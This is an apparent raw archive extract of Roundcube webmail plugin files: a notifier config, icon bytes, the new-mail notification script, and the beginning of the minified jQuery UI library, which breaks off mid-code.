$config['newmail_notifier_basic'] = false;

// Enables sound notification
$config['newmail_notifier_sound'] = false;

// Enables desktop notification
$config['newmail_notifier_desktop'] = false;

// Desktop notification close timeout in seconds
$config['newmail_notifier_desktop_timeout'] = 10;
PKh�\�:~~~$plugins/newmail_notifier/overlay.iconu�[��� h(  @

$Em$Em@'t������t��'@����������[��[�������������� ����B����������B������� ��U��������������U����u����)��������������)����u����V���;�������;�������V��]�����O�-�$�$�$�$�-�O��������]�Ѕ��J�N���;�;�;�;�N���J����Ѕ������g���^���U���U���^���g��������������������W���������W�������������Җ�����������������������Җ���̓
��
���̓����H��H����?������������/�PKh�\��uEww,plugins/newmail_notifier/newmail_notifier.jsnu�[���/**
 * New Mail Notifier plugin script
 *
 * @author Aleksander Machniak <alec@alec.pl>
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

if (window.rcmail && rcmail.env.task == 'mail') {
    rcmail.addEventListener('plugin.newmail_notifier', newmail_notifier_run)
        .addEventListener('actionbefore', newmail_notifier_stop)
        .addEventListener('init', function() {
            // bind to messages list select event, so favicon will be reverted on message preview too
            if (rcmail.message_list)
                rcmail.message_list.addEventListener('select', newmail_notifier_stop);
        });
}

// Executes notification methods
function newmail_notifier_run(prop)
{
    if (prop.basic)
        newmail_notifier_basic();
    if (prop.sound)
        newmail_notifier_sound();
    if (prop.desktop)
        newmail_notifier_desktop(rcmail.get_label('body', 'newmail_notifier'));
}

// Stops notification
function newmail_notifier_stop(prop)
{
    // revert original favicon
    if (rcmail.env.favicon_href && rcmail.env.favicon_changed && (!prop || prop.action != 'check-recent')) {
        $('<link rel="shortcut icon" href="'+rcmail.env.favicon_href+'"/>').replaceAll('link[rel="shortcut icon"]');
        rcmail.env.favicon_changed = 0;
    }

    // Remove IE icon overlay if we're pinned to Taskbar
    try {
        if(window.external.msIsSiteMode()) {
            window.external.msSiteModeClearIconOverlay();
        }
    } catch(e) {}
}

// Basic notification: window.focus and favicon change
function newmail_notifier_basic()
{
    var w = rcmail.is_framed() ? window.parent : window,
        path = rcmail.assets_path('plugins/newmail_notifier');

    w.focus();

    // we cannot simply change a href attribute, we must to replace the link element (at least in FF)
    var link = $('<link rel="shortcut icon">').attr('href', path + '/favicon.ico'),
        oldlink = $('link[rel="shortcut icon"]', w.document);

    if (!rcmail.env.favicon_href)
        rcmail.env.favicon_href = oldlink.attr('href');

    rcmail.env.favicon_changed = 1;
    link.replaceAll(oldlink);

    // Add IE icon overlay if we're pinned to Taskbar
    try {
        if (window.external.msIsSiteMode()) {
            window.external.msSiteModeSetIconOverlay(path + '/overlay.ico', rcmail.get_label('title', 'newmail_notifier'));
        }
    } catch(e) {}
}

// Sound notification
function newmail_notifier_sound()
{
    var src = rcmail.assets_path('plugins/newmail_notifier/sound');

    (new Audio(src + '.mp3')).play()
        .catch(function() {
            // fallback to the wav format
            (new Audio(src + '.wav')).play();
        });
}

// Desktop notification
// - Require window.Notification API support (Chrome 22+ or Firefox 22+)
function newmail_notifier_desktop(body, disabled_callback)
{
    var timeout = rcmail.env.newmail_notifier_timeout || 10,
        icon = rcmail.assets_path('plugins/newmail_notifier/mail.png'),
        success_callback = function() {
            var popup = new window.Notification(rcmail.get_label('title', 'newmail_notifier'), {
                dir: "auto",
                lang: "",
                body: body,
                tag: "newmail_notifier",
                icon: icon
            });
            popup.onclick = function() { this.close(); };
            setTimeout(function() { popup.close(); }, timeout * 1000);
        };

    try {
        window.Notification.requestPermission(function(perm) {
            if (perm == 'granted')
                success_callback();
            else if (perm == 'denied' && disabled_callback)
                disabled_callback();
        });

        return true;
    }
    catch (e) {
        return false;
    }
}

function newmail_notifier_test_desktop()
{
    var status = newmail_notifier_desktop(rcmail.get_label('testbody', 'newmail_notifier'), function() {
        rcmail.display_message(rcmail.get_label('desktopdisabled', 'newmail_notifier'), 'error');
    });

    if (!status) {
        rcmail.display_message(rcmail.get_label('desktopunsupported', 'newmail_notifier'), 'error');
    }
}

function newmail_notifier_test_basic()
{
    newmail_notifier_basic();
}

function newmail_notifier_test_sound()
{
    newmail_notifier_sound();
}
PKh�\c�!ff$plugins/jqueryui/js/jquery-ui.min.jsnu�[���/*! jQuery UI - v1.13.2 - 2022-07-14
* http://jqueryui.com
* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-patch.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */

!function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)}(function(V){"use strict";V.ui=V.ui||{};V.ui.version="1.13.2";var n,i=0,a=Array.prototype.hasOwnProperty,r=Array.prototype.slice;V.cleanData=(n=V.cleanData,function(t){for(var e,i,s=0;null!=(i=t[s]);s++)(e=V._data(i,"events"))&&e.remove&&V(i).triggerHandler("remove");n(t)}),V.widget=function(t,i,e){var s,n,o,a={},r=t.split(".")[0],l=r+"-"+(t=t.split(".")[1]);return e||(e=i,i=V.Widget),Array.isArray(e)&&(e=V.extend.apply(null,[{}].concat(e))),V.expr.pseudos[l.toLowerCase()]=function(t){return!!V.data(t,l)},V[r]=V[r]||{},s=V[r][t],n=V[r][t]=function(t,e){if(!this||!this._createWidget)return new n(t,e);arguments.length&&this._createWidget(t,e)},V.extend(n,s,{version:e.version,_proto:V.extend({},e),_childConstructors:[]}),(o=new i).options=V.widget.extend({},o.options),V.each(e,function(e,s){function n(){return i.prototype[e].apply(this,arguments)}function o(t){return i.prototype[e].apply(this,t)}a[e]="function"==typeof s?function(){var t,e=this._super,i=this._superApply;return this._super=n,this._superApply=o,t=s.apply(this,arguments),this._super=e,this._superApply=i,t}:s}),n.prototype=V.widget.extend(o,{widgetEventPrefix:s&&o.widgetEventPrefix||t},a,{constructor:n,namespace:r,widgetName:t,widgetFullName:l}),s?(V.each(s._childConstructors,function(t,e){var i=e.prototype;V.widget(i.namespace+"."+i.widgetName,n,e._proto)}),delete s._childConstructors):i._childConstructors.push(n),V.widget.bridge(t,n),n},V.widget.extend=function(t){for(var e,i,s=r.call(arguments,1),n=0,o=s.length;n<o;n++)for(e in s[n])i=s[n][e],a.call(s[n],e)&&void 0!==i&&(V.isPlainObject(i)?t[e]=V.isPlainObject(t[e])?V.widget.extend({},t[e],i):V.widget.extend({},i):t[e]=i);return t},V.widget.bridge=function(o,e){var a=e.prototype.widgetFullName||o;V.fn[o]=function(i){var t="string"==typeof i,s=r.call(arguments,1),n=this;return t?this.length||"instance"!==i?this.each(function(){var t,e=V.data(this,a);return"instance"===i?(n=e,!1):e?"function"!=typeof e[i]||"_"===i.charAt(0)?V.error("no such method '"+i+"' for "+o+" widget instance"):(t=e[i].apply(e,s))!==e&&void 0!==t?(n=t&&t.jquery?n.pushStack(t.get()):t,!1):void 0:V.error("cannot call methods on "+o+" prior to initialization; attempted to call method '"+i+"'")}):n=void 0:(s.length&&(i=V.widget.extend.apply(null,[i].concat(s))),this.each(function(){var t=V.data(this,a);t?(t.option(i||{}),t._init&&t._init()):V.data(this,a,new e(i,this))})),n}},V.Widget=function(){},V.Widget._childConstructors=[],V.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(t,e){e=V(e||this.defaultElement||this)[0],this.element=V(e),this.uuid=i++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=V(),this.hoverable=V(),this.focusable=V(),this.classesElementLookup={},e!==this&&(V.data(e,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===e&&this.destroy()}}),this.document=V(e.style?e.ownerDocument:e.document||e),this.window=V(this.document[0].defaultView||this.document[0].parentWindow)),this.options=V.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:V.noop,_create:V.noop,_init:V.noop,destroy:function(){var i=this;this._destroy(),V.each(this.classesElementLookup,function(t,e){i._removeClass(e,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:V.noop,widget:function(){return this.element},option:function(t,e){var i,s,n,o=t;if(0===arguments.length)return V.widget.extend({},this.options);if("string"==typeof t)if(o={},t=(i=t.split(".")).shift(),i.length){for(s=o[t]=V.widget.extend({},this.options[t]),n=0;n<i.length-1;n++)s[i[n]]=s[i[n]]||{},s=s[i[n]];if(t=i.pop(),1===arguments.length)return void 0===s[t]?null:s[t];s[t]=e}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];o[t]=e}return this._setOptions(o),this},_setOptions:function(t){for(var e in t)this._setOption(e,t[e]);return this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(t){var e,i,s;for(e in t)s=this.classesElementLookup[e],t[e]!==this.options.classes[e]&&s&&s.length&&(i=V(s.get()),this._removeClass(s,e),i.addClass(this._classes({element:i,keys:e,classes:t,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_classes:function(n){var o=[],a=this;function t(t,e){for(var i,s=0;s<t.length;s++)i=a.classesElementLookup[t[s]]||V(),i=n.add?(function(){var i=[];n.element.each(function(t,e){V.map(a.classesElementLookup,function(t){return t}).some(function(t){return t.is(e)})||i.push(e)}),a._on(V(i),{remove:"_untrackClassesElement"})}(),V(V.uniqueSort(i.get().concat(n.element.get())))):V(i.not(n.element).get()),a.classesElementLookup[t[s]]=i,o.push(t[s]),e&&n.classes[t[s]]&&o.push(n.classes[t[s]])}return(n=V.extend({element:this.element,classes:this.options.classes||{}},n)).keys&&t(n.keys.match(/\S+/g)||[],!0),n.extra&&t(n.extra.match(/\S+/g)||[]),o.join(" ")},_untrackClassesElement:function(i){var s=this;V.each(s.classesElementLookup,function(t,e){-1!==V.inArray(i.target,e)&&(s.classesElementLookup[t]=V(e.not(i.target).get()))}),this._off(V(i.target))},_removeClass:function(t,e,i){return this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,s){var n="string"==typeof t||null===t,i={extra:n?e:i,keys:n?t:e,element:n?this.element:t,add:s="boolean"==typeof s?s:i};return i.element.toggleClass(this._classes(i),s),this},_on:function(n,o,t){var a,r=this;"boolean"!=typeof n&&(t=o,o=n,n=!1),t?(o=a=V(o),this.bindings=this.bindings.add(o)):(t=o,o=this.element,a=this.widget()),V.each(t,function(t,e){function i(){if(n||!0!==r.options.disabled&&!V(this).hasClass("ui-state-disabled"))return("string"==typeof e?r[e]:e).apply(r,arguments)}"string"!=typeof e&&(i.guid=e.guid=e.guid||i.guid||V.guid++);var s=t.match(/^([\w:-]*)\s*(.*)$/),t=s[1]+r.eventNamespace,s=s[2];s?a.on(t,s,i):o.on(t,i)})},_off:function(t,e){e=(e||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.off(e),this.bindings=V(this.bindings.not(t).get()),this.focusable=V(this.focusable.not(t).get()),this.hoverable=V(this.hoverable.not(t).get())},_delay:function(t,e){var i=this;return setTimeout(function(){return("string"==typeof t?i[t]:t).apply(i,arguments)},e||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){this._addClass(V(t.currentTarget),null,"ui-state-hover")},mouseleave:function(t){this._removeClass(V(t.currentTarget),null,"ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){this._addClass(V(t.currentTarget),null,"ui-state-focus")},focusout:function(t){this._removeClass(V(t.currentTarget),null,"ui-state-focus")}})},_trigger:function(t,e,i){var s,n,o=this.options[t];if(i=i||{},(e=V.Event(e)).type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),e.target=this.element[0],n=e.originalEvent)for(s in n)s in e||(e[s]=n[s]);return this.element.trigger(e,i),!("function"==typeof o&&!1===o.apply(this.element[0],[e].concat(i))||e.isDefaultPrevented())}},V.each({show:"fadeIn",hide:"fadeOut"},function(o,a){V.Widget.prototype["_"+o]=function(e,t,i){var s,n=(t="string"==typeof t?{effect:t}:t)?!0!==t&&"number"!=typeof t&&t.effect||a:o;"number"==typeof(t=t||{})?t={duration:t}:!0===t&&(t={}),s=!V.isEmptyObject(t),t.complete=i,t.delay&&e.delay(t.delay),s&&V.effects&&V.effects.effect[n]?e[o](t):n!==o&&e[n]?e[n](t.duration,t.easing,i):e.queue(function(t){V(this)[o](),i&&i.call(e[0]),t()})}});var s,x,k,o,l,h,c,u,C;V.widget;function D(t,e,i){return[parseFloat(t[0])*(u.test(t[0])?e/100:1),parseFloat(t[1])*(u.test(t[1])?i/100:1)]}function I(t,e){return parseInt(V.css(t,e),10)||0}function T(t){return null!=t&&t===t.window}x=Math.max,k=Math.abs,o=/left|center|right/,l=/top|center|bottom/,h=/[\+\-]\d+(\.[\d]+)?%?/,c=/^\w+/,u=/%$/,C=V.fn.position,V.position={scrollbarWidth:function(){if(void 0!==s)return s;var t,e=V("<div style='display:block;position:absolute;width:200px;height:200px;overflow:hidden;'><div style='height:300px;width:auto;'></div></div>"),i=e.children()[0];return V("body").append(e),t=i.offsetWidth,e.css("overflow","scroll"),t===(i=i.offsetWidth)&&(i=e[0].clientWidth),e.remove(),s=t-i},getScrollInfo:function(t){var e=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),i=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),e="scroll"===e||"auto"===e&&t.width<t.element[0].scrollWidth;return{width:"scroll"===i||"auto"===i&&t.height<t.element[0].scrollHeight?V.position.scrollbarWidth():0,height:e?V.position.scrollbarWidth():0}},getWithinInfo:function(t){var e=V(t||window),i=T(e[0]),s=!!e[0]&&9===e[0].nodeType;return{element:e,isWindow:i,isDocument:s,offset:!i&&!s?V(t).offset():{left:0,top:0},scrollLeft:e.scrollLeft(),scrollTop:e.scrollTop(),width:e.outerWidth(),height:e.outerHeight()}}},V.fn.position=function(u){if(!u||!u.of)return C.apply(this,arguments);var d,p,f,g,m,t,_="string"==typeof(u=V.extend({},u)).of?V(document).find(u.of):V(u.of),v=V.position.getWithinInfo(u.within),b=V.position.getScrollInfo(v),y=(u.collision||"flip").split(" "),w={},e=9===(t=(e=_)[0]).nodeType?{width:e.width(),height:e.height(),offset:{top:0,left:0}}:T(t)?{width:e.width(),height:e.height(),offset:{top:e.scrollTop(),left:e.scrollLeft()}}:t.preventDefault?{width:0,height:0,offset:{top:t.pageY,left:t.pageX}}:{width:e.outerWidth(),height:e.outerHeight(),offset:e.offset()};return _[0].preventDefault&&(u.at="left top"),p=e.width,f=e.height,m=V.extend({},g=e.offset),V.each(["my","at"],function(){var t,e,i=(u[this]||"").split(" ");(i=1===i.length?o.test(i[0])?i.concat(["center"]):l.test(i[0])?["center"].concat(i):["center","center"]:i)[0]=o.test(i[0])?i[0]:"center",i[1]=l.test(i[1])?i[1]:"center",t=h.exec(i[0]),e=h.exec(i[1]),w[this]=[t?t[0]:0,e?e[0]:0],u[this]=[c.exec(i[0])[0],c.exec(i[1])[0]]}),1===y.length&&(y[1]=y[0]),"right"===u.at[0]?m.left+=p:"center"===u.at[0]&&(m.left+=p/2),"bottom"===u.at[1]?m.top+=f:"center"===u.at[1]&&(m.top+=f/2),d=D(w.at,p,f),m.left+=d[0],m.top+=d[1],this.each(function(){var i,t,a=V(this),r=a.outerWidth(),l=a.outerHeight(),e=I(this,"marginLeft"),s=I(this,"marginTop"),n=r+e+I(this,"marginRight")+b.width,o=l+s+I(this,"marginBottom")+b.height,h=V.extend({},m),c=D(w.my,a.outerWidth(),a.outerHeight());"right"===u.my[0]?h.left-=r:"center"===u.my[0]&&(h.left-=r/2),"bottom"===u.my[1]?h.top-=l:"center"===u.my[1]&&(h.top-=l/2),h.left+=c[0],h.top+=c[1],i={marginLeft:e,marginTop:s},V.each(["left","top"],function(t,e){V.ui.position[y[t]]&&V.ui.position[y[t]][e](h,{targetWidth:p,targetHeight:f,elemWidth:r,elemHeight:l,collisionPosition:i,collisionWidth:n,collisionHeight:o,offset:[d[0]+c[0],d[1]+c[1]],my:u.my,at:u.at,within:v,elem:a})}),u.using&&(t=function(t){var e=g.left-h.left,i=e+p-r,s=g.top-h.top,n=s+f-l,o={target:{element:_,left:g.left,top:g.top,width:p,height:f},element:{element:a,left:h.left,top:h.top,width:r,height:l},horizontal:i<0?"left":0<e?"right":"center",vertical:n<0?"top":0<s?"bottom":"middle"};p<r&&k(e+i)<p&&(o.horizontal="center"),f<l&&k(s+n)<f&&(o.vertical="middle"),x(k(e),k(i))>x(k(s),k(n))?o.important="horizontal":o.important="vertical",u.using.call(this,t,o)}),a.offset(V.extend(h,{using:t}))})},V.ui.position={fit:{left:function(t,e){var i=e.within,s=i.isWindow?i.scrollLeft:i.offset.left,n=i.width,o=t.left-e.collisionPosition.marginLeft,a=s-o,r=o+e.collisionWidth-n-s;e.collisionWidth>n?0<a&&r<=0?(i=t.left+a+e.collisionWidth-n-s,t.left+=a-i):t.left=!(0<r&&a<=0)&&r<a?s+n-e.collisionWidth:s:0<a?t.left+=a:0<r?t.left-=r:t.left=x(t.left-o,t.left)},top:function(t,e){var i=e.within,s=i.isWindow?i.scrollTop:i.offset.top,n=e.within.height,o=t.top-e.collisionPosition.marginTop,a=s-o,r=o+e.collisionHeight-n-s;e.collisionHeight>n?0<a&&r<=0?(i=t.top+a+e.collisionHeight-n-s,t.top+=a-i):t.top=!(0<r&&a<=0)&&r<a?s+n-e.collisionHeight:s:0<a?t.top+=a:0<r?t.top-=r:t.top=x(t.top-o,t.top)}},flip:{left:function(t,e){var i=e.within,s=i.offset.left+i.scrollLeft,n=i.width,o=i.isWindow?i.scrollLeft:i.offset.left,a=t.left-e.collisionPosition.marginLeft,r=a-o,l=a+e.collisionWidth-n-o,h="left"===e.my[0]?-e.elemWidth:"right"===e.my[0]?e.elemWidth:0,i="left"===e.at[0]?e.targetWidth:"right"===e.at[0]?-e.targetWidth:0,a=-2*e.offset[0];r<0?((s=t.left+h+i+a+e.collisionWidth-n-s)<0||s<k(r))&&(t.left+=h+i+a):0<l&&(0<(o=t.left-e.collisionPosition.marginLeft+h+i+a-o)||k(o)<l)&&(t.left+=h+i+a)},top:function(t,e){var i=e.within,s=i.offset.top+i.scrollTop,n=i.height,o=i.isWindow?i.scrollTop:i.offset.top,a=t.top-e.collisionPosition.marginTop,r=a-o,l=a+e.collisionHeight-n-o,h="top"===e.my[1]?-e.elemHeight:"bottom"===e.my[1]?e.elemHeight:0,i="top"===e.at[1]?e.targetHeight:"bottom"===e.at[1]?-e.targetHeight:0,a=-2*e.offset[1];r<0?((s=t.top+h+i+a+e.collisionHeight-n-s)<0||s<k(r))&&(t.top+=h+i+a):0<l&&(0<(o=t.top-e.collisionPosition.marginTop+h+i+a-o)||k(o)<l)&&(t.top+=h+i+a)}},flipfit:{left:function(){V.ui.position.flip.left.apply(this,arguments),V.ui.position.fit.left.apply(this,arguments)},top:function(){V.ui.position.flip.top.apply(this,arguments),V.ui.position.fit.top.apply(this,arguments)}}};V.ui.position,V.extend(V.expr.pseudos,{data:V.expr.createPseudo?V.expr.createPseudo(function(e){return function(t){return!!V.data(t,e)}}):function(t,e,i){return!!V.data(t,i[3])}}),V.fn.extend({disableSelection:(t="onselectstart"in document.createElement("div")?"selectstart":"mousedown",function(){return this.on(t+".ui-disableSelection",function(t){t.preventDefault()})}),enableSelection:function(){return this.off(".ui-disableSelection")}});var t,d=V,p={},e=p.toString,f=/^([\-+])=\s*(\d+\.?\d*)/,g=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(t){return[t[1],t[2],t[3],t[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(t){return[2.55*t[1],2.55*t[2],2.55*t[3],t[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})?/,parse:function(t){return[parseInt(t[1],16),parseInt(t[2],16),parseInt(t[3],16),t[4]?(parseInt(t[4],16)/255).toFixed(2):1]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])([a-f0-9])?/,parse:function(t){return[parseInt(t[1]+t[1],16),parseInt(t[2]+t[2],16),parseInt(t[3]+t[3],16),t[4]?(parseInt(t[4]+t[4],16)/255).toFixed(2):1]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(t){return[t[1],t[2]/100,t[3]/100,t[4]]}}],m=d.Color=function(t,e,i,s){return new d.Color.fn.parse(t,e,i,s)},_={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},v={byte:{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},b=m.support={},y=d("<p>")[0],w=d.each;function P(t){return null==t?t+"":"object"==typeof t?p[e.call(t)]||"object":typeof t}function M(t,e,i){var s=v[e.type]||{};return null==t?i||!e.def?null:e.def:(t=s.floor?~~t:parseFloat(t),isNaN(t)?e.def:s.mod?(t+s.mod)%s.mod:Math.min(s.max,Math.max(0,t)))}function S(s){var n=m(),o=n._rgba=[];return s=s.toLowerCase(),w(g,function(t,e){var i=e.re.exec(s),i=i&&e.parse(i),e=e.space||"rgba";if(i)return i=n[e](i),n[_[e].cache]=i[_[e].cache],o=n._rgba=i._rgba,!1}),o.length?("0,0,0,0"===o.join()&&d.extend(o,B.transparent),n):B[s]}function H(t,e,i){return 6*(i=(i+1)%1)<1?t+(e-t)*i*6:2*i<1?e:3*i<2?t+(e-t)*(2/3-i)*6:t}y.style.cssText="background-color:rgba(1,1,1,.5)",b.rgba=-1<y.style.backgroundColor.indexOf("rgba"),w(_,function(t,e){e.cache="_"+t,e.props.alpha={idx:3,type:"percent",def:1}}),d.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(t,e){p["[object "+e+"]"]=e.toLowerCase()}),(m.fn=d.extend(m.prototype,{parse:function(n,t,e,i){if(void 0===n)return this._rgba=[null,null,null,null],this;(n.jquery||n.nodeType)&&(n=d(n).css(t),t=void 0);var o=this,s=P(n),a=this._rgba=[];return void 0!==t&&(n=[n,t,e,i],s="array"),"string"===s?this.parse(S(n)||B._default):"array"===s?(w(_.rgba.props,function(t,e){a[e.idx]=M(n[e.idx],e)}),this):"object"===s?(w(_,n instanceof m?function(t,e){n[e.cache]&&(o[e.cache]=n[e.cache].slice())}:function(t,i){var s=i.cache;w(i.props,function(t,e){if(!o[s]&&i.to){if("alpha"===t||null==n[t])return;o[s]=i.to(o._rgba)}o[s][e.idx]=M(n[t],e,!0)}),o[s]&&d.inArray(null,o[s].slice(0,3))<0&&(null==o[s][3]&&(o[s][3]=1),i.from&&(o._rgba=i.from(o[s])))}),this):void 0},is:function(t){var n=m(t),o=!0,a=this;return w(_,function(t,e){var i,s=n[e.cache];return s&&(i=a[e.cache]||e.to&&e.to(a._rgba)||[],w(e.props,function(t,e){if(null!=s[e.idx])return o=s[e.idx]===i[e.idx]})),o}),o},_space:function(){var i=[],s=this;return w(_,function(t,e){s[e.cache]&&i.push(t)}),i.pop()},transition:function(t,a){var e=(h=m(t))._space(),i=_[e],t=0===this.alpha()?m("transparent"):this,r=t[i.cache]||i.to(t._rgba),l=r.slice(),h=h[i.cache];return w(i.props,function(t,e){var i=e.idx,s=r[i],n=h[i],o=v[e.type]||{};null!==n&&(null===s?l[i]=n:(o.mod&&(n-s>o.mod/2?s+=o.mod:s-n>o.mod/2&&(s-=o.mod)),l[i]=M((n-s)*a+s,e)))}),this[e](l)},blend:function(t){if(1===this._rgba[3])return this;var e=this._rgba.slice(),i=e.pop(),s=m(t)._rgba;return m(d.map(e,function(t,e){return(1-i)*s[e]+i*t}))},toRgbaString:function(){var t="rgba(",e=d.map(this._rgba,function(t,e){return null!=t?t:2<e?1:0});return 1===e[3]&&(e.pop(),t="rgb("),t+e.join()+")"},toHslaString:function(){var t="hsla(",e=d.map(this.hsla(),function(t,e){return null==t&&(t=2<e?1:0),t=e&&e<3?Math.round(100*t)+"%":t});return 1===e[3]&&(e.pop(),t="hsl("),t+e.join()+")"},toHexString:function(t){var e=this._rgba.slice(),i=e.pop();return t&&e.push(~~(255*i)),"#"+d.map(e,function(t){return 1===(t=(t||0).toString(16)).length?"0"+t:t}).join("")},toString:function(){return 0===this._rgba[3]?"transparent":this.toRgbaString()}})).parse.prototype=m.fn,_.hsla.to=function(t){if(null==t[0]||null==t[1]||null==t[2])return[null,null,null,t[3]];var e=t[0]/255,i=t[1]/255,s=t[2]/255,n=t[3],o=Math.max(e,i,s),a=Math.min(e,i,s),r=o-a,l=o+a,t=.5*l,i=a===o?0:e===o?60*(i-s)/r+360:i===o?60*(s-e)/r+120:60*(e-i)/r+240,l=0==r?0:t<=.5?r/l:r/(2-l);return[Math.round(i)%360,l,t,null==n?1:n]},_.hsla.from=function(t){if(null==t[0]||null==t[1]||null==t[2])return[null,null,null,t[3]];var e=t[0]/360,i=t[1],s=t[2],t=t[3],i=s<=.5?s*(1+i):s+i-s*i,s=2*s-i;return[Math.round(255*H(s,i,e+1/3)),Math.round(255*H(s,i,e)),Math.round(255*H(s,i,e-1/3)),t]},w(_,function(l,t){var e=t.props,o=t.cache,a=t.to,r=t.from;m.fn[l]=function(t){if(a&&!this[o]&&(this[o]=a(this._rgba)),void 0===t)return this[o].slice();var i=P(t),s="array"===i||"object"===i?t:arguments,n=this[o].slice();return w(e,function(t,e){t=s["object"===i?t:e.idx];null==t&&(t=n[e.idx]),n[e.idx]=M(t,e)}),r?((t=m(r(n)))[o]=n,t):m(n)},w(e,function(a,r){m.fn[a]||(m.fn[a]=function(t){var e,i=P(t),s="alpha"===a?this._hsla?"hsla":"rgba":l,n=this[s](),o=n[r.idx];return"undefined"===i?o:("function"===i&&(i=P(t=t.call(this,o))),null==t&&r.empty?this:("string"===i&&(e=f.exec(t))&&(t=o+parseFloat(e[2])*("+"===e[1]?1:-1)),n[r.idx]=t,this[s](n)))})})}),(m.hook=function(t){t=t.split(" ");w(t,function(t,o){d.cssHooks[o]={set:function(t,e){var i,s,n="";if("transparent"!==e&&("string"!==P(e)||(i=S(e)))){if(e=m(i||e),!b.rgba&&1!==e._rgba[3]){for(s="backgroundColor"===o?t.parentNode:t;(""===n||"transparent"===n)&&s&&s.style;)try{n=d.css(s,"backgroundColor"),s=s.parentNode}catch(t){}e=e.blend(n&&"transparent"!==n?n:"_default")}e=e.toRgbaString()}try{t.style[o]=e}catch(t){}}},d.fx.step[o]=function(t){t.colorInit||(t.start=m(t.elem,o),t.end=m(t.end),t.colorInit=!0),d.cssHooks[o].set(t.elem,t.start.transition(t.end,t.pos))}})})("backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor"),d.cssHooks.borderColor={expand:function(i){var s={};return w(["Top","Right","Bottom","Left"],function(t,e){s["border"+e+"Color"]=i}),s}};var z,A,O,N,E,W,F,L,R,Y,B=d.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"},j="ui-effects-",q="ui-effects-style",K="ui-effects-animated";function U(t){var e,i,s=t.ownerDocument.defaultView?t.ownerDocument.defaultView.getComputedStyle(t,null):t.currentStyle,n={};if(s&&s.length&&s[0]&&s[s[0]])for(i=s.length;i--;)"string"==typeof s[e=s[i]]&&(n[e.replace(/-([\da-z])/gi,function(t,e){return e.toUpperCase()})]=s[e]);else for(e in s)"string"==typeof 